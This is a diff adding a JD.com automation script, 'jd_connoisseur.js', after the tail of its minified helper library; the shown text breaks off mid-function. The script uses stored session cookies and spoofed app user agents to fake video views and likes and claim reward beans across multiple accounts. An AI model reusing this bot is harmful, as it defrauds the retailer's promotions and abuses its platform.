t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_connoisseur.js b/jd_connoisseur.js new file mode 100644 index 0000000..2acfc93 --- /dev/null +++ b/jd_connoisseur.js @@ -0,0 +1,732 @@ +/* +内容鉴赏官 +更新时间:2021-09-09 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#内容鉴赏官 +15 3,6 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_connoisseur.js, tag=内容鉴赏官, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "15 3,6 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_connoisseur.js,tag=内容鉴赏官 + +===============Surge================= +内容鉴赏官 = type=cron,cronexp="15 3,6 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_connoisseur.js + +============小火箭========= +内容鉴赏官 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_connoisseur.js, cronexpr="15 3,6 * * *", timeout=3600, enable=true + */ +const $ = new Env('内容鉴赏官'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let isLoginInfo = {} +$.shareCodes = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +let agid = [], pageId, encodeActivityId, paginationFlrs, activityId +let allMessage = ''; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + // let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/connoisseur.json') + // if (!res) { + // $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/connoisseur.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + // await $.wait(1000) + // res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/connoisseur.json') + // } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdConnoisseur() + } + } + // $.shareCodes = [...new Set([...$.shareCodes, ...(res || [])])] + // for (let i = 0; i < cookiesArr.length; i++) { + // if (cookiesArr[i]) { + // cookie = cookiesArr[i]; + // $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + // if (!isLoginInfo[$.UserName]) continue + // $.canHelp = true + // if ($.shareCodes && $.shareCodes.length) { + // console.log(`\n开始互助\n`) + // for (let j = 0; j < $.shareCodes.length && $.canHelp; j++) { + // console.log(`账号${$.UserName} 去助力 ${$.shareCodes[j].use} 的助力码 ${$.shareCodes[j].code}`) + // if ($.UserName === $.shareCodes[j].use) { + // console.log(`助力失败:不能助力自己`) + // continue + // } + // $.delcode = false + // await getTaskInfo("2", $.projectCode, $.taskCode, "2", $.shareCodes[j].code) + // await $.wait(2000) + // if ($.delcode) { + // $.shareCodes.splice(j, 1) + // j-- + // continue + // } + // } + // } else { + // break + // } + // } + // } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdConnoisseur() { + await getActiveInfo() + await $.wait(2000) + await getshareCode() +} + +async function getActiveInfo(url = 'https://prodev.m.jd.com/mall/active/2y1S9xVYdTud2VmFqhHbkcoAYhJT/index.html') { + let options = { + url, + headers: { + "Host": "prodev.m.jd.com", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + return new Promise(async resolve => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} getActiveInfo API请求失败,请检查网路重试`) + } else { + if (data) { + data = data && data.match(/window\.performance.mark\(e\)}}\((.*)\);<\/script>/)[1] + data = JSON.parse(data) + pageId = data.activityInfo.pageId + encodeActivityId = data.activityInfo.encodeActivityId + paginationFlrs = data.paginationFlrs + activityId = data.activityInfo.activityId + for (let key of Object.keys(data.codeFloors)) { + let vo = data.codeFloors[key] + if (vo.boardParams && vo.boardParams.taskCode === "2CCbSBbVWkFZzRDngs4F6q3YZ62o") { + agid = [] + agid.push(vo.materialParams.advIdVideo[0].advGrpId) + console.log(`去做【${vo.boardParams.titleText}】`) + await getTaskInfo("11", vo.boardParams.projectCode, vo.boardParams.taskCode) + } else if (vo.boardParams && vo.boardParams.taskCode === "4JHmm8nEpyuKgc3z9wkGArXDtEdh") { + agid = [] + agid.push(vo.materialParams.advIdKOC[0].advGrpId) + console.log(`去做【${vo.boardParams.titleText}】`) + await getTaskInfo("10", vo.boardParams.projectCode, vo.boardParams.taskCode) + } else if (vo.boardParams && vo.boardParams.taskCode === "2PbAu1BAT79RxrM5V7c2VAPUQDSd") { + agid = [] + agid.push(vo.materialParams.advIdKOC[0].advGrpId) + agid.push(vo.materialParams.advIdVideo[0].advGrpId) + console.log(`去做【${vo.boardParams.btnText}】`) + await getTaskInfo("5", vo.boardParams.projectCode, vo.boardParams.taskCode) + await $.wait(2000) + } else if (vo.boardParams && (vo.boardParams.taskCode === "485y3NEBCKGJg6L4brNg6PHhuM9d" || vo.boardParams.taskCode === "2bpKT3LMaEjaGyVQRr2dR8zzc9UU")) { + console.log(`去做【${vo.boardParams.titleText}】`) + await getTaskInfo("9", vo.boardParams.projectCode, vo.boardParams.taskCode) + await $.wait(2000) + } else if (vo.boardParams && (vo.boardParams.taskCode === "3dw9N5yB18RaN9T1p5dKHLrWrsX" || vo.boardParams.taskCode === "CtXTxzkh4ExFCrGf8si3ePxGnPy" || vo.boardParams.taskCode === "Hys8nCmAaqKmv1G3Y3a5LJEk36Y" || vo.boardParams.taskCode === "2wPBGptSUXNs3fxqgAtrV5MwkYEa")) { + await getTaskInfo("1", vo.boardParams.projectCode, vo.boardParams.taskCode) + await $.wait(2000) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function getTaskInfo(type, projectId, assignmentId, helpType = '1', itemId = '') { + let body = {"type":type,"projectId":projectId,"assignmentId":assignmentId,"doneHide":false} + if (assignmentId === $.taskCode) body['itemId'] = itemId, body['helpType'] = helpType + if (assignmentId === "2CCbSBbVWkFZzRDngs4F6q3YZ62o") body['agid'] = agid + return new Promise(async resolve => { + $.post(taskUrl('interactive_info', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getTaskInfo API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (assignmentId === "2CCbSBbVWkFZzRDngs4F6q3YZ62o") { + if (data.code === "0" && data.data) { + if (data.data[0]) { + if (data.data[0].status !== "2") { + let num = 0; + for (let i = data.data[0].viewedNum; i < data.data[0].viewNum; i++) { + let vo = data.data[0].videoDtoPageResult.list[num] + await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, vo.articleDto.jump.id, 1) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + num++ + } + num = 0; + for (let i = data.data[0].evaluatedNum; i < data.data[0].evaluateNum; i++) { + let vo = data.data[0].videoDtoPageResult.list[num] + await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, vo.articleDto.jump.id, 2) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + num++ + } + await interactive_reward(type, data.data[0].projectId, data.data[0].assignmentId) + } else { + console.log(`任务已完成`) + } + } else { + console.log(`无当前任务`) + } + } else { + console.log(data.message) + } + } else if (assignmentId === "4JHmm8nEpyuKgc3z9wkGArXDtEdh") { + if (data.code === "0" && data.data) { + if (data.data[0]) { + if (data.data[0].status !== "2") { + let res = await aha_card_list(type, data.data[0].projectId, data.data[0].assignmentId) + let num = 0; + for (let i = data.data[0].watchAlreadyCount; i < data.data[0].watchTotalCount; i++) { + let vo = res.data.cardList[num] + await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, vo.id, 1) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + num++ + } + num = 0; + for (let i = data.data[0].likeAlreadyCount; i < data.data[0].likeTotalCount; i++) { + let vo = res.data.cardList[num] + await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, vo.id, 2) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + num++ + } + await interactive_reward(type, data.data[0].projectId, data.data[0].assignmentId) + } else { + console.log(`任务已完成`) + } + } else { + console.log(`无当前任务`) + } + } else { + console.log(data.message) + } + } else if (assignmentId === "2PbAu1BAT79RxrM5V7c2VAPUQDSd" || assignmentId === "3dw9N5yB18RaN9T1p5dKHLrWrsX" || assignmentId === "2gWnJADG8JXMpp1WXiNHgSy4xUSv" || assignmentId === "CtXTxzkh4ExFCrGf8si3ePxGnPy" || assignmentId === "2wPBGptSUXNs3fxqgAtrV5MwkYEa" || assignmentId === "u4eyHS91t3fV6HRyBCg9k5NTUid" || assignmentId === "4WHSXEqKZeGQZeP9SvqxePQpBkpS" || assignmentId === "4PCdWdiKNwRw1PmLaFzJmTqRBq4v" || assignmentId === "4JcMwRmGJUXptBYzAfUDkKTtgeUs" || assignmentId === "4ZmB6jqmJjRWPWxjuq22Uf17CuUQ" || assignmentId === "QGPPJyQPhSBJ57QcU8PdMwWwwCR" || assignmentId === "tBLY4YL4LkBwWj9KKq9BevHHvcP" || assignmentId === "4UFHr2rSLyS912riDWih6B8gMXkf") { + if (assignmentId !== "2PbAu1BAT79RxrM5V7c2VAPUQDSd") console.log(`去做【${data.data[0].title}】`) + if (data.code === "0" && data.data) { + if (data.data[0]) { + if (data.data[0].status !== "2") { + await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, data.data[0].itemId) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + } else { + console.log(assignmentId === "2PbAu1BAT79RxrM5V7c2VAPUQDSd" ? `今日已签到` : `任务已完成`) + } + } else { + console.log(`无当前任务`) + } + } else { + console.log(data.message) + } + } else if (assignmentId === "485y3NEBCKGJg6L4brNg6PHhuM9d" || assignmentId === "2bpKT3LMaEjaGyVQRr2dR8zzc9UU") { + if (data.code === "0" && data.data) { + if (data.data[0].status !== "2") { + await sign_interactive_done(type, data.data[0].projectId, data.data[0].assignmentId) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + await interactive_reward(type, data.data[0].projectId, data.data[0].assignmentId) + } else { + console.log(`任务已完成`) + } + } else { + console.log(data.message) + } + } else if (assignmentId === "Hys8nCmAaqKmv1G3Y3a5LJEk36Y") { + if (data.code === "0" && data.data) { + console.log(`去做【${data.data[0].title}】`) + if (data.data[0].status !== "2") { + await interactive_accept(type, data.data[0].projectId, data.data[0].assignmentId, data.data[0].itemId) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + await qryViewkitCallbackResult(data.data[0].projectId, data.data[0].assignmentId, data.data[0].itemId) + } else { + console.log(`任务已完成`) + } + } else { + console.log(data.message) + } + } else if (assignmentId === $.taskCode) { + if (helpType === '1') { + if (data.code === "0" && data.data) { + if (data.data[0].status !== "2") { + console.log(`【京东账号${$.index}(${$.UserName})的内容鉴赏官好友互助码】${data.data[0].itemId}`) + $.shareCodes.push({ + 'use': $.UserName, + 'code': data.data[0].itemId + }) + } + } else { + console.log(data.message) + } + } else if (helpType === '2') { + if (data.code === "0" && data.data) { + if (data.data[0].code === "0") { + await interactive_done(type, $.projectCode, $.taskCode, itemId) + } else if (data.data[0].code === "103") { + $.canHelp = false + console.log(`助力失败:无助力次数`) + } else if (data.data[0].code === "102") { + console.log(`助力失败:${data.data[0].msg}`) + } else if (data.data[0].code === "106") { + $.delcode = true + console.log(`助力失败:您的好友已完成任务`) + } else { + console.log(JSON.stringify(data)) + } + } else { + console.log(data.message) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function interactive_done(type, projectId, assignmentId, itemId, actionType = '') { + let body = {"projectId":projectId,"assignmentId":assignmentId,"itemId":itemId,"type":type} + if (type === "5" || type === "2") body['agid'] = agid + if (type === "10" || type === "11") delete body["itemId"], body["actionType"] = actionType, body["contentId"] = itemId + return new Promise(resolve => { + $.post(taskUrl('interactive_done', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} interactive_done API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (type === "2") { + if (data.code === "0" && data.busiCode === "0") { + console.log(data.data.msg) + if (!data.data.success) $.canHelp = false + } else { + console.log(data.message) + } + } else { + if (data.code === "0" && data.busiCode === "0") { + if (type !== "10" && type !== "11") console.log(data.data.rewardMsg) + } else { + console.log(data.message) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function sign_interactive_done(type, projectId, assignmentId) { + let functionId = 'interactive_done' + let body = {"assignmentId":assignmentId,"type":type,"projectId":projectId} + let sign = await getSign(functionId, body) + return new Promise(resolve => { + $.post(taskPostUrl(functionId, sign), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sign_interactive_done API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function interactive_reward(type, projectId, assignmentId) { + return new Promise(resolve => { + $.post(taskUrl('interactive_reward', {"projectId":projectId,"assignmentId":assignmentId,"type":type}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} interactive_reward API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data.code === "0" && data.busiCode === "0") { + console.log(data.data.rewardMsg) + } else { + console.log(data.message) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function interactive_accept(type, projectId, assignmentId, itemId) { + return new Promise(resolve => { + $.post(taskUrl('interactive_accept', {"projectId":projectId,"assignmentId":assignmentId,"type":type,"itemId":itemId}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} interactive_accept API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function qryViewkitCallbackResult(encryptProjectId, encryptAssignmentId, itemId) { + let functionId = 'qryViewkitCallbackResult' + let body = {"dataSource":"babelInteractive","method":"customDoInteractiveAssignmentForBabel","reqParams":`{\"itemId\":\"${itemId}\",\"encryptProjectId\":\"${encryptProjectId}\",\"encryptAssignmentId\":\"${encryptAssignmentId}\"}`} + let sign = await getSign(functionId, body) + return new Promise(resolve => { + $.post(taskPostUrl(functionId, sign), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} qryViewkitCallbackResult API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data.code === "0" || data.msg === "query success!") { + console.log(`恭喜获得2个京豆`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function getshareCode() { + let sid = randomString(40) + let body = JSON.stringify({"activityId":encodeActivityId,"pageNum":"-1","innerAnchor":"","innerExtId":"","hideTopFoot":"","innerLinkBase64":"","innerIndex":"0","focus":"","forceTop":"","addressId":"4091160336","posLng":"","posLat":"","homeLng":"","homeLat":"","gps_area":"","headId":"","headArea":"","warehouseId":"","dcId":"","babelChannel":"ttt1","mitemAddrId":"","geo":{"lng":"","lat":""},"flt":"","jda":"168871293.1632069151379637759921.1632069151.1634449233.1634455108.187","topNavStyle":"","url":`https://prodev.m.jd.com/mall/active/${encodeActivityId}/index.html?babelChannel=ttt1&tttparams=s1AJNojeyJsbmciOiIxMTcuMDA2NTYzIiwiZ0xhdCI6IjQwLjE4OTkzIiwibGF0IjoiNDAuMTgxOTM0IiwiZ0xuZyI6IjExNy4wMTAwNzEiLCJncHNfYXJlYSI6IjFfMjk1M181NDA0NF8wIiwidW5fYXJlYSI6IjFfMjk1M181NDA0NF8wIn70%3D&lng=&lat=&sid=${sid}&un_area=`,"fullUrl":`https://prodev.m.jd.com/mall/active/${encodeActivityId}/index.html?babelChannel=ttt1&tttparams=s1AJNojeyJsbmciOiIxMTcuMDA2NTYzIiwiZ0xhdCI6IjQwLjE4OTkzIiwibGF0IjoiNDAuMTgxOTM0IiwiZ0xuZyI6IjExNy4wMTAwNzEiLCJncHNfYXJlYSI6IjFfMjk1M181NDA0NF8wIiwidW5fYXJlYSI6IjFfMjk1M181NDA0NF8wIn70%3D&lng=&lat=&sid=${sid}&un_area=`,"autoSkipEmptyPage":false,"paginationParam":"2","paginationFlrs":paginationFlrs,"transParam":`{\"bsessionId\":\"\",\"babelChannel\":\"ttt1\",\"actId\":\"${activityId}\",\"enActId\":\"${encodeActivityId}\",\"pageId\":\"${pageId}\",\"encryptCouponFlag\":\"1\",\"sc\":\"apple\",\"scv\":\"10.1.6\",\"requestChannel\":\"h5\",\"jdAtHomePage\":\"0\"}`,"siteClient":"apple","siteClientVersion":"10.1.6","matProExt":{"unpl":"V2_ZzNtbUEAR0B1CUBWeRkLVWIGF1pKX0IXIVpOUi8eWFJkBxpbclRCFnUURlVnGVgUZwMZWEtcRxBFCEZkexhdBmIKFFxGXnMlfQAoVDYZMgYJAF8QD2dAFUUJdlR8G1wBZwAXXENRRhFxCU9QextZBWQzIl1EZ3MldDhHZHopF2tmThJaQFdHFXYNR1V9HFgBZgoWXUBSQxZFCXZX|V2_ZzNtbRYEREB1X0VTfU5fAGIHEwhLUUZCfVgVAX0aCVJlVhUPclRCFnUURlVnGV0UZwYZXkVcRxdFCEJkexhdBW8KF1xGVnMlfGZFV38dXwFiBREzQlZCe0ULRmR6KVUBYgoSXEUHShJ2X0YDLx8PADQKFwhAB0MSIg4RAy5LCwBhARpcFwNzJXwJdlJ5EV0DYAEiCBwIFVAlUB0MK0YKWD8DIlxyVnMURV4oVHoYXQVmAxRcRBpKEXABRlV8SVUCZFQSChZREBAmAUMBeUlcAjAFRQoXBRQQcwpOVS5NbARXAw%3d%3d"},"userInterest":{"whiteNote":"0_0_0","payment":"0_0_0","plusNew":"0_0_0","plusRenew":"0_0_0"}}) + let options = { + url: `${JD_API_HOST}?client=wh5&clientVersion=1.0.0&functionId=qryH5BabelFloors`, + body: `body=${encodeURIComponent(body)}&screen=1242*2208&sid=${sid}&uuid=${randomString(40)}&area=&osVersion=15.0.1&d_model=iphone11,2`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://prodev.m.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://prodev.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + return new Promise(async resolve => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getshareCode API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + for (let key of Object.keys(data.floorList)) { + let vo = data.floorList[key] + if (vo.boardParams && (vo.boardParams.taskCode === "2gWnJADG8JXMpp1WXiNHgSy4xUSv" || vo.boardParams.taskCode === "2wPBGptSUXNs3fxqgAtrV5MwkYEa" || vo.boardParams.taskCode === "u4eyHS91t3fV6HRyBCg9k5NTUid" || vo.boardParams.taskCode === "Hys8nCmAaqKmv1G3Y3a5LJEk36Y" || vo.boardParams.taskCode === "4WHSXEqKZeGQZeP9SvqxePQpBkpS" || vo.boardParams.taskCode === "4PCdWdiKNwRw1PmLaFzJmTqRBq4v" || vo.boardParams.taskCode === "4JcMwRmGJUXptBYzAfUDkKTtgeUs" || vo.boardParams.taskCode === "4ZmB6jqmJjRWPWxjuq22Uf17CuUQ" || vo.boardParams.taskCode === "QGPPJyQPhSBJ57QcU8PdMwWwwCR" || vo.boardParams.taskCode === "tBLY4YL4LkBwWj9KKq9BevHHvcP" || vo.boardParams.taskCode === "4UFHr2rSLyS912riDWih6B8gMXkf" || vo.boardParams.taskCode === "3dw9N5yB18RaN9T1p5dKHLrWrsX")) { + await getTaskInfo("1", vo.boardParams.projectCode, vo.boardParams.taskCode) + await $.wait(2000) + } else if (vo.boardParams && vo.boardParams.taskCode === "3PX8SPeYoQMgo1aJBZYVkeC7QzD3") { + $.projectCode = vo.boardParams.projectCode + $.taskCode = vo.boardParams.taskCode + } + } + // await getTaskInfo("2", $.projectCode, $.taskCode) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function aha_card_list(type, projectId, assignmentId) { + return new Promise(resolve => { + $.post(taskUrl('browse_aha_task/aha_card_list', {"type":type,"projectId":projectId,"assignmentId":assignmentId,"agid":agid,"firstStart":1}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} aha_card_list API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new 